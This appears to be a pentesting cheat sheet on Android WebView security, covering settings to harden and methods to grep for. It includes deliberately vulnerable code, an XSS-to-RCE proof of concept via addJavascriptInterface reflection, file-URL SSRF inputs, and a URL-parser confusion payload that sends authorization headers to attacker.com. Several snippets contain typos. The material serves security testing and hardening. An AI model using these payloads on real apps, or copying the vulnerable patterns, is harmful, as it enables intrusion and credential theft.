Skip to content

WebViews

WebViews

Disable Plugins like Flash
Disable Javascript
Disable File system Access

Things to grep for:
- setAllowContent
- setAllowFileAccess
- setAllowFileAccessFromFileURLS
- setAllowUniversalAccessFromFileURLs
- setJavaScriptEnabled
- setPluginState
- setSavePassword

Code:
- webview.loadUrl()

Disable Javascript:

webview = new WebView(this);
webview.getSettings().setJavaScriptEnabled(false);

Disable Support for Plugins:

webview = new WebView(this);
webview.getSettings().setPluginsEnabled(false);
webview.getSettings().setPluginState(PluginState.OFF);

Disable File Access:

webview = new WebView(this);
webview.getSettings().setAllowFileAccess(false);

Get URLS

private class MyWebViewClient extends WebViewClient {
  @Override
  public boolean shouldOverrideUrlLoading(WebView view, String url) {
    private static final String LOG_TAG = "MWRLabs";
    Log.d(LOG_TAG, "[x] getHost: " + Uri.parse(url).getHost());
    Log.d(LOG_TAG, "[x] getScheme: " + Uri.parse(url).getScheme());
    Log.d(LOG_TAG, "[x] getPath: " + Uri.parse(url).getPath());
    if (Uri.parse(url).getHost().equals("labs.mwrinfosecurity.com")){return true;}
    return false;
  }
}

Security

setAllowUniversalAccessFromFileURLs

Vulnerable Code:

public class MyBrowser extends Activity
{
  @override 
  public void onCreate(Bundle savedInstatceState){
    super.onCreate(savedInstatceState);
    setContentView(R.layout.main);
    WebView sebView = (WebView) findViewById(R.id.webview);
    WebSettings settings = webView.getSettings();
    settings.setJavaScriptEnabled(true);
    settings.setAllowUniversalAccessFromFileURLs(true);
    String trul = getIntent.getStringExtra("URL");
    webView.loadUrl(turl);
  }
}

Intercept Request and Responses

@Override
  public WebResourceResponse shouldInterceptRequest (final WebView view, String url) {
    if (url.contains(".js")){return getWebResourceResponseFromString();}
    else {return super.shouldInterceptRequest(view, url);}
  }
  private WebResourceResponse getWebResourceResponseFromString(){
    return getUtf8EncodedWebResourceResponse(new StringBufferInputStream("alert('!NO!')"));
  }
  private WebResourceResponse getUtf8EncodedWebResourceResponse(InputStream data){
    return new WebResourceResponse("text/css", "UTF-8", data);
  }

Javascript Interfaces

Calling Android Functions from Javascript

Example Code:

Class JavascriptObj
{
  @JavascriptInterface public String hello(){
    return "I am from Java code";
  }

  webview.addJavascriptInterface( new JavaScriptObj(), "jsvar");
  String content = "<html> <script>alert(jsvar.hello()); </script> </html>";
  webview.loadData(content, "text/html", null);
}

Getting RCE using XSS:

//targetSDK <= 17 PoC
var cmd = "ping example.com";
window.jsvar.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec(cmd);

SSRF

Things to Try to load :
- javascript://
- file:///path/to/private

URL verification

Dont mix android.net.Uri and java.net.URL parsers.

Vulnerable Code:

String url = "http://attacker.com\\\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost()); // legitimate.com is printed!
webView.loadUrl(url, getAuthorizationHeaders()); // attacker.com is loaded :P

Source